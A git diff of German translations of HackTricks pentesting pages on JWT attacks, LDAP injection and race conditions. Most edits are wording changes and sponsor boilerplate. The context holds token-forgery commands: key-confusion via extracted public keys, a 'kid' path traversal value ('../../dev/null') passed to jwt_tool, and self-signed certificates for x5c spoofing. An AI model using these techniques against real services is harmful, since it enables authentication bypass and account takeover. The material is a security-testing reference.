|
@ -342,7 +342,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -7,14 +7,14 @@
|
|||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -49,13 +49,13 @@ Um zu überprüfen, ob die Signatur eines JWT überprüft wird:
|
|||
|
||||
* Eine Fehlermeldung deutet auf laufende Überprüfung hin; sensible Details in ausführlichen Fehlern sollten überprüft werden.
|
||||
* Eine Änderung auf der zurückgegebenen Seite deutet ebenfalls auf eine Überprüfung hin.
|
||||
* Keine Änderung deutet auf keine Überprüfung hin; dann ist es an der Zeit, mit der Manipulation der Payload-Behauptungen zu experimentieren.
|
||||
* Keine Änderung deutet auf keine Überprüfung hin; dann ist es an der Zeit, mit der Manipulation von Payload-Claims zu experimentieren.
|
||||
|
||||
### Herkunft
|
||||
|
||||
Es ist wichtig festzustellen, ob das Token serverseitig oder clientseitig generiert wurde, indem der Anforderungsverlauf des Proxys überprüft wird.
|
||||
|
||||
* Tokens, die zuerst auf der Clientseite gesehen werden, deuten darauf hin, dass der Schlüssel möglicherweise dem Clientcode ausgesetzt ist und weitere Untersuchungen erforderlich sind.
|
||||
* Tokens, die zuerst auf der Clientseite gesehen werden, deuten darauf hin, dass der Schlüssel möglicherweise dem Clientcode zugänglich ist und weitere Untersuchungen erforderlich sind.
|
||||
* Tokens, die serverseitig entstehen, deuten auf einen sicheren Prozess hin.
|
||||
|
||||
### Dauer
|
||||
|
@ -70,7 +70,7 @@ Es ist wichtig festzustellen, ob das Token serverseitig oder clientseitig generi
|
|||
|
||||
Setzen Sie den verwendeten Algorithmus auf "None" und entfernen Sie den Signaturteil.
|
||||
|
||||
Verwenden Sie die Burp-Erweiterung "JSON Web Token", um diese Schwachstelle auszuprobieren und verschiedene Werte innerhalb des JWT zu ändern (senden Sie die Anforderung an Repeater und im Tab "JSON Web Token" können Sie die Werte des Tokens ändern. Sie können auch auswählen, den Wert des Felds "Alg" auf "None" zu setzen).
|
||||
Verwenden Sie die Burp-Erweiterung "JSON Web Token", um diese Schwachstelle auszunutzen und verschiedene Werte innerhalb des JWT zu ändern (senden Sie die Anforderung an Repeater und im Tab "JSON Web Token" können Sie die Werte des Tokens ändern. Sie können auch auswählen, den Wert des Felds "Alg" auf "None" zu setzen).
|
||||
|
||||
### Ändern des Algorithmus von RS256(asymmetrisch) auf HS256(symmetrisch) (CVE-2016-5431/CVE-2016-10555)
|
||||
|
||||
|
@ -79,7 +79,7 @@ Der Algorithmus RS256 verwendet den privaten Schlüssel, um die Nachricht zu sig
|
|||
|
||||
Wenn Sie den Algorithmus von RS256 auf HS256 ändern, verwendet der Backend-Code den öffentlichen Schlüssel als geheimen Schlüssel und verwendet dann den HS256-Algorithmus zur Überprüfung der Signatur.
|
||||
|
||||
Dann könnten wir mithilfe des öffentlichen Schlüssels und der Änderung von RS256 auf HS256 eine gültige Signatur erstellen. Sie können das Zertifikat des Webservers abrufen, der dies ausführt:
|
||||
Dann könnten wir mit dem öffentlichen Schlüssel und der Änderung von RS256 auf HS256 eine gültige Signatur erstellen. Sie können das Zertifikat des Webservers abrufen, indem Sie dies ausführen:
|
||||
```bash
|
||||
openssl s_client -connect example.com:443 2>&1 < /dev/null | sed -n '/-----BEGIN/,/-----END/p' > certificatechain.pem #For this attack you can use the JOSEPH Burp extension. In the Repeater, select the JWS tab and select the Key confusion attack. Load the PEM, Update the request and send it. (This extension allows you to send the "non" algorithm attack also). It is also recommended to use the tool jwt_tool with the option 2 as the previous Burp Extension does not always works well.
|
||||
openssl x509 -pubkey -in certificatechain.pem -noout > pubkey.pem
|
||||
|
@ -93,9 +93,9 @@ Dies kann mit der "JSON Web Tokens" Burp-Erweiterung durchgeführt werden.\
|
|||
|
||||
### JWKS Spoofing
|
||||
|
||||
Die Anweisungen beschreiben eine Methode zur Bewertung der Sicherheit von JWT-Token, insbesondere solcher, die einen "jku" Header-Claim verwenden. Dieser Claim sollte auf eine JWKS (JSON Web Key Set)-Datei verweisen, die den für die Überprüfung des Tokens erforderlichen öffentlichen Schlüssel enthält.
|
||||
Die Anweisungen beschreiben eine Methode zur Bewertung der Sicherheit von JWT-Tokens, insbesondere solcher, die einen "jku"-Header-Claim verwenden. Dieser Claim sollte auf eine JWKS (JSON Web Key Set)-Datei verweisen, die den für die Überprüfung des Tokens erforderlichen öffentlichen Schlüssel enthält.
|
||||
|
||||
* **Bewertung von Token mit "jku" Header**:
|
||||
* **Bewertung von Tokens mit "jku"-Header**:
|
||||
* Überprüfen Sie die URL des "jku"-Claims, um sicherzustellen, dass sie zur entsprechenden JWKS-Datei führt.
|
||||
* Ändern Sie den Wert des "jku"-Tokens so, dass er auf einen kontrollierten Webdienst verweist, der die Beobachtung des Datenverkehrs ermöglicht.
|
||||
* **Überwachung der HTTP-Interaktion**:
|
||||
|
@ -105,12 +105,12 @@ Die Anweisungen beschreiben eine Methode zur Bewertung der Sicherheit von JWT-To
|
|||
* Führen Sie den folgenden Befehl aus, um das Szenario mit `jwt_tool` zu simulieren:
|
||||
|
||||
```bash
|
||||
python3 jwt_tool.py JWT_HERE -X s
|
||||
python3 jwt_tool.py JWT_HIER -X s
|
||||
```
|
||||
|
||||
### Kid-Probleme im Überblick
|
||||
|
||||
Ein optionaler Header-Claim namens `kid` wird verwendet, um einen bestimmten Schlüssel zu identifizieren, was insbesondere in Umgebungen mit mehreren Schlüsseln zur Überprüfung der Token-Signatur wichtig ist. Dieser Claim hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens.
|
||||
Ein optionaler Header-Claim namens `kid` wird verwendet, um einen bestimmten Schlüssel zu identifizieren, was insbesondere in Umgebungen, in denen mehrere Schlüssel für die Überprüfung der Token-Signatur vorhanden sind, wichtig wird. Dieser Claim hilft bei der Auswahl des geeigneten Schlüssels zur Überprüfung der Signatur eines Tokens.
|
||||
|
||||
#### Offenlegung des Schlüssels durch "kid"
|
||||
|
||||
|
@ -122,7 +122,7 @@ Der `kid`-Claim kann auch ausgenutzt werden, um durch das Dateisystem zu navigie
|
|||
```bash
|
||||
python3 jwt_tool.py <JWT> -I -hc kid -hv "../../dev/null" -S hs256 -p ""
|
||||
```
|
||||
Durch die Ausrichtung auf Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei `/proc/sys/kernel/randomize_va_space` in Linux-Systemen, die bekanntermaßen den Wert **2** enthält, im `kid`-Parameter mit **2** als symmetrischem Passwort für die JWT-Generierung verwendet werden.
|
||||
Durch die Ausrichtung auf Dateien mit vorhersehbarem Inhalt ist es möglich, ein gültiges JWT zu fälschen. Zum Beispiel kann die Datei `/proc/sys/kernel/randomize_va_space` in Linux-Systemen, die den Wert **2** enthält, im `kid`-Parameter mit **2** als symmetrischem Passwort für die JWT-Generierung verwendet werden.
|
||||
|
||||
#### SQL-Injection über "kid"
|
||||
|
||||
|
@ -164,7 +164,7 @@ print("e:", hex(key.e))
|
|||
```
|
||||
#### x5u
|
||||
|
||||
X.509-URL. Eine URI, die auf eine Reihe von X.509 (einem Zertifikatsformatstandard) öffentlichen Zertifikaten im PEM-Format verweist. Das erste Zertifikat in der Reihe muss dasjenige sein, das zum Signieren dieses JWT verwendet wurde. Die nachfolgenden Zertifikate signieren jeweils das vorherige, wodurch die Zertifikatskette vervollständigt wird. X.509 ist in RFC 52807 definiert. Der Transport von Zertifikaten erfordert Sicherheit.
|
||||
X.509-URL. Eine URI, die auf eine Reihe von X.509 (einem Zertifikatsformatstandard) öffentlichen Zertifikaten im PEM-Format verweist. Das erste Zertifikat in der Reihe muss dasjenige sein, das zum Signieren dieses JWT verwendet wurde. Die nachfolgenden Zertifikate signieren jeweils das vorherige, wodurch die Zertifikatskette vervollständigt wird. X.509 ist in RFC 52807 definiert. Der Transport von Sicherheitszertifikaten ist erforderlich.
|
||||
|
||||
Versuchen Sie, **diesen Header in eine URL unter Ihrer Kontrolle zu ändern** und überprüfen Sie, ob Anfragen empfangen werden. In diesem Fall **könnten Sie das JWT manipulieren**.
|
||||
|
||||
|
@ -181,11 +181,11 @@ Sie können auch beide Schwachstellen **für SSRFs missbrauchen**.
|
|||
|
||||
#### x5c
|
||||
|
||||
Dieser Parameter kann das **Zertifikat in Base64 enthalten**:
|
||||
Dieser Parameter kann das **Zertifikat im Base64-Format** enthalten:
|
||||
|
||||
![](<../.gitbook/assets/image (440).png>)
|
||||
|
||||
Wenn der Angreifer ein selbstsigniertes Zertifikat **generiert und ein gefälschtes Token erstellt, das den entsprechenden privaten Schlüssel verwendet, und den Wert des Parameters "x5c" durch das neu generierte Zertifikat ersetzt und die anderen Parameter, nämlich n, e und x5t, modifiziert, würde das gefälschte Token im Wesentlichen vom Server akzeptiert werden.**
|
||||
Wenn der Angreifer ein selbstsigniertes Zertifikat erstellt und ein gefälschtes Token mit dem entsprechenden privaten Schlüssel erstellt und den Wert des Parameters "x5c" durch das neu generierte Zertifikat ersetzt und die anderen Parameter, nämlich n, e und x5t, modifiziert, würde das gefälschte Token im Wesentlichen vom Server akzeptiert werden.
|
||||
```bash
|
||||
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout attacker.key -outattacker.crt
|
||||
openssl x509 -in attacker.crt -text
|
||||
|
@ -225,7 +225,7 @@ console.log('Parameter e: ', publicComponents.e.toString(16));
|
|||
### JTI (JWT ID)
|
||||
|
||||
Die JTI (JWT ID) Behauptung bietet einen eindeutigen Identifikator für ein JWT-Token. Es kann verwendet werden, um das Token vor Wiederholung zu schützen.\
|
||||
Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfragen 0001 und 10001 verwenden dieselbe ID. Wenn das Backend die ID bei jeder Anfrage inkrementiert, könnten Sie dies missbrauchen, um eine Anfrage zu **wiederholen** (es müssen 10000 Anfragen zwischen jeder erfolgreichen Wiederholung gesendet werden).
|
||||
Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4 beträgt (0001-9999). Die Anfrage 0001 und 10001 würden dieselbe ID verwenden. Wenn das Backend die ID bei jeder Anfrage inkrementiert, könnten Sie dies missbrauchen, um eine Anfrage zu **wiederholen** (es müssten 10000 Anfragen zwischen jeder erfolgreichen Wiederholung gesendet werden).
|
||||
|
||||
### JWT Registrierte Behauptungen
|
||||
|
||||
|
@ -237,19 +237,19 @@ Stellen Sie sich jedoch eine Situation vor, in der die maximale Länge der ID 4
|
|||
|
||||
Es wurde beobachtet, dass einige Webanwendungen auf einen vertrauenswürdigen JWT-Dienst zur Generierung und Verwaltung ihrer Tokens angewiesen sind. Es wurden Fälle dokumentiert, in denen ein Token, das für einen Client vom JWT-Dienst generiert wurde, von einem anderen Client desselben JWT-Dienstes akzeptiert wurde. Wenn die Ausstellung oder Erneuerung eines JWT über einen Drittanbieterdienst beobachtet wird, sollte die Möglichkeit untersucht werden, sich bei einem anderen Client dieses Dienstes mit demselben Benutzernamen/E-Mail anzumelden. Es sollte dann versucht werden, das erhaltene Token in einer Anfrage an das Ziel zu wiederholen, um zu sehen, ob es akzeptiert wird.
|
||||
|
||||
* Die Akzeptanz Ihres Tokens könnte auf ein schwerwiegendes Problem hinweisen, das möglicherweise das Spoofing des Kontos eines beliebigen Benutzers ermöglicht. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfangreichere Tests erforderlich ist, wenn Sie sich bei einer Anwendung eines Drittanbieters anmelden, da dies in eine rechtliche Grauzone geraten könnte.
|
||||
* Die Akzeptanz Ihres Tokens könnte auf ein kritisches Problem hinweisen, das möglicherweise das Spoofing des Kontos eines beliebigen Benutzers ermöglicht. Es sollte jedoch beachtet werden, dass möglicherweise eine Genehmigung für umfangreichere Tests erforderlich ist, wenn Sie sich bei einer Anwendung eines Drittanbieters anmelden, da dies in eine rechtliche Grauzone geraten könnte.
|
||||
|
||||
**Ablaufprüfung von Tokens**
|
||||
|
||||
Der Ablauf des Tokens wird mithilfe der "exp" Payload-Behauptung überprüft. Da JWTs häufig ohne Sitzungsinformationen verwendet werden, ist eine sorgfältige Handhabung erforderlich. In vielen Fällen könnte das Erfassen und Wiederholen eines anderen Benutzertokens das Vortäuschen dieses Benutzers ermöglichen. Der JWT RFC empfiehlt, JWT-Wiederholungsangriffe zu verhindern, indem die "exp"-Behauptung verwendet wird, um eine Ablaufzeit für das Token festzulegen. Darüber hinaus ist die Implementierung entsprechender Überprüfungen durch die Anwendung erforderlich, um die Verarbeitung dieses Werts sicherzustellen und abgelaufene Tokens abzulehnen. Wenn das Token eine "exp"-Behauptung enthält und die Testzeiten dies zulassen, wird empfohlen, das Token zu speichern und es nach Ablauf der Ablaufzeit erneut zu senden. Der Inhalt des Tokens, einschließlich der Zeitstempelanalyse und Ablaufprüfung (Zeitstempel in UTC), kann mithilfe der -R-Flagge des jwt_tool gelesen werden.
|
||||
Der Ablauf des Tokens wird mithilfe der "exp" Payload-Behauptung überprüft. Da JWTs häufig ohne Sitzungsinformationen verwendet werden, ist eine sorgfältige Handhabung erforderlich. In vielen Fällen könnte das Erfassen und Wiederholen des JWT eines anderen Benutzers die Übernahme der Identität dieses Benutzers ermöglichen. Das JWT RFC empfiehlt, JWT-Wiederholungsangriffe zu verhindern, indem die "exp" Behauptung verwendet wird, um eine Ablaufzeit für das Token festzulegen. Darüber hinaus ist die Implementierung entsprechender Überprüfungen durch die Anwendung erforderlich, um die Verarbeitung dieses Werts sicherzustellen und abgelaufene Tokens abzulehnen. Wenn das Token eine "exp" Behauptung enthält und die Testzeiten es zulassen, wird empfohlen, das Token zu speichern und es nach Ablauf der Zeit erneut zu senden. Der Inhalt des Tokens, einschließlich der Zeitstempelanalyse und Ablaufprüfung (Zeitstempel in UTC), kann mithilfe des -R-Flags des jwt_tool gelesen werden.
|
||||
|
||||
* Ein Sicherheitsrisiko könnte bestehen, wenn die Anwendung das Token immer noch validiert, da dies darauf hindeuten könnte, dass das Token niemals abläuft.
|
||||
* Ein Sicherheitsrisiko könnte bestehen, wenn die Anwendung das Token immer noch validiert, da dies darauf hindeuten könnte, dass das Token niemals ablaufen könnte.
|
||||
|
||||
### Tools
|
||||
|
||||
{% embed url="https://github.com/ticarpi/jwt_tool" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -264,7 +264,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merch**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -8,7 +8,7 @@
|
|||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -16,7 +16,7 @@ Andere Möglichkeiten, HackTricks zu unterstützen:
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hacking-Karriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
|
@ -58,7 +58,7 @@ Zum Beispiel:\
|
|||
|
||||
Sie können auf die Datenbank zugreifen, die Informationen verschiedener Typen enthalten kann.
|
||||
|
||||
**OpenLDAP**: Wenn 2 Filter eintreffen, wird nur der erste ausgeführt.\
|
||||
**OpenLDAP**: Wenn 2 Filter eintreffen, führt es nur den ersten aus.\
|
||||
**ADAM oder Microsoft LDS**: Bei 2 Filtern wird ein Fehler ausgegeben.\
|
||||
**SunOne Directory Server 5.0**: Führt beide Filter aus.
|
||||
|
||||
|
@ -223,9 +223,9 @@ intitle:"phpLDAPadmin" inurl:cmd.php
|
|||
|
||||
{% embed url="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/LDAP%20Injection" %}
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Wenn Sie an einer **Hackerkarriere** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
Wenn Sie an einer **Karriere im Hacking** interessiert sind und das Unhackbare hacken möchten - **wir stellen ein!** (_fließendes Polnisch in Wort und Schrift erforderlich_).
|
||||
|
||||
{% embed url="https://www.stmcyber.com/careers" %}
|
||||
|
||||
|
|
|
@ -1,80 +1,80 @@
|
|||
# Race Condition
|
||||
# Rennbedingung
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um Workflows einfach zu erstellen und zu automatisieren, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
||||
Erhalten Sie noch heute Zugriff:
|
||||
Verwenden Sie [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), um mühelos **Workflows zu erstellen und zu automatisieren**, die von den fortschrittlichsten Community-Tools der Welt unterstützt werden.\
|
||||
Heute Zugriff erhalten:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Lernen Sie das Hacken von AWS von Grund auf mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Erlernen Sie AWS-Hacking von Null auf Held mit</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Andere Möglichkeiten, HackTricks zu unterstützen:
|
||||
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks bewerben möchten** oder **HackTricks als PDF herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Wenn Sie Ihr **Unternehmen in HackTricks beworben sehen möchten** oder **HackTricks im PDF-Format herunterladen möchten**, überprüfen Sie die [**ABONNEMENTPLÄNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Holen Sie sich das [**offizielle PEASS & HackTricks-Merchandise**](https://peass.creator-spring.com)
|
||||
* Entdecken Sie [**The PEASS Family**](https://opensea.io/collection/the-peass-family), unsere Sammlung exklusiver [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Ihre Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repositories einreichen.
|
||||
|
||||
</details>
|
||||
|
||||
{% hint style="warning" %}
|
||||
Um ein tiefes Verständnis dieser Technik zu erlangen, lesen Sie den Originalbericht unter [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
Für ein tiefes Verständnis dieser Technik lesen Sie den Originalbericht unter [https://portswigger.net/research/smashing-the-state-machine](https://portswigger.net/research/smashing-the-state-machine)
|
||||
{% endhint %}
|
||||
|
||||
## Verbesserung von Race Condition-Angriffen
|
||||
## Verbesserung von Rennbedingungsangriffen
|
||||
|
||||
Die Hauptherausforderung bei der Ausnutzung von Race Conditions besteht darin, sicherzustellen, dass mehrere Anfragen gleichzeitig bearbeitet werden, mit **sehr geringen Unterschieden in ihren Verarbeitungszeiten - idealerweise weniger als 1 ms**.
|
||||
Das Hauptproblem bei der Ausnutzung von Rennbedingungen besteht darin, sicherzustellen, dass mehrere Anfragen gleichzeitig bearbeitet werden, mit **sehr geringen Unterschieden in ihren Verarbeitungszeiten - idealerweise weniger als 1 ms**.
|
||||
|
||||
Hier finden Sie einige Techniken zur Synchronisierung von Anfragen:
|
||||
|
||||
#### HTTP/2 Single-Packet-Angriff vs. HTTP/1.1 Last-Byte-Synchronisierung
|
||||
#### HTTP/2 Single-Paket-Angriff vs. HTTP/1.1 Last-Byte-Synchronisierung
|
||||
|
||||
- **HTTP/2**: Unterstützt das Senden von zwei Anfragen über eine einzelne TCP-Verbindung, wodurch der Einfluss von Netzwerk-Jitter verringert wird. Aufgrund serverseitiger Variationen reichen jedoch zwei Anfragen möglicherweise nicht aus, um eine konsistente Race-Condition-Exploit zu erzielen.
|
||||
- **HTTP/1.1 'Last-Byte Sync'**: Ermöglicht das Vorsenden der meisten Teile von 20-30 Anfragen, wobei ein kleines Fragment zurückgehalten wird, das dann zusammen gesendet wird und gleichzeitig beim Server ankommt.
|
||||
* **HTTP/2**: Unterstützt das Senden von zwei Anfragen über eine einzelne TCP-Verbindung und reduziert den Einfluss von Netzwerk-Jitter. Aufgrund von serverseitigen Variationen reichen jedoch zwei Anfragen möglicherweise nicht für einen konsistenten Rennbedingungsangriff aus.
|
||||
* **HTTP/1.1 'Last-Byte Sync'**: Ermöglicht das Vorsenden der meisten Teile von 20-30 Anfragen, wobei ein kleines Fragment zurückgehalten wird, das dann zusammen gesendet wird und gleichzeitig beim Server ankommt.
|
||||
|
||||
**Vorbereitung für Last-Byte Sync** beinhaltet:
|
||||
1. Senden von Headern und Body-Daten ohne das letzte Byte, ohne den Stream zu beenden.
|
||||
Die **Vorbereitung auf Last-Byte Sync** umfasst:
|
||||
|
||||
1. Senden von Headern und Body-Daten abzüglich des letzten Bytes, ohne den Stream zu beenden.
|
||||
2. Pause von 100 ms nach dem initialen Senden.
|
||||
3. Deaktivieren von TCP_NODELAY, um den Nagle-Algorithmus zur Stapelung der letzten Frames zu nutzen.
|
||||
3. Deaktivierung von TCP\_NODELAY zur Nutzung des Nagle-Algorithmus für das Stapeln von finalen Frames.
|
||||
4. Pingen zur Aufwärmung der Verbindung.
|
||||
|
||||
Das anschließende Senden der zurückgehaltenen Frames sollte zu deren Ankunft in einem einzelnen Paket führen, das mit Wireshark überprüft werden kann. Diese Methode gilt nicht für statische Dateien, die normalerweise nicht in RC-Angriffen verwendet werden.
|
||||
Das nachfolgende Senden zurückgehaltener Frames sollte zu deren Ankunft in einem einzelnen Paket führen, was über Wireshark überprüfbar ist. Diese Methode gilt nicht für statische Dateien, die normalerweise nicht in RC-Angriffen involviert sind.
|
||||
|
||||
### Anpassung an die Serverarchitektur
|
||||
|
||||
Das Verständnis der Architektur des Ziels ist entscheidend. Front-End-Server können Anfragen unterschiedlich routen, was sich auf die Timing auswirkt. Eine vorbeugende serverseitige Verbindungsaufwärmung durch bedeutungslose Anfragen kann die Anfragetiming normalisieren.
|
||||
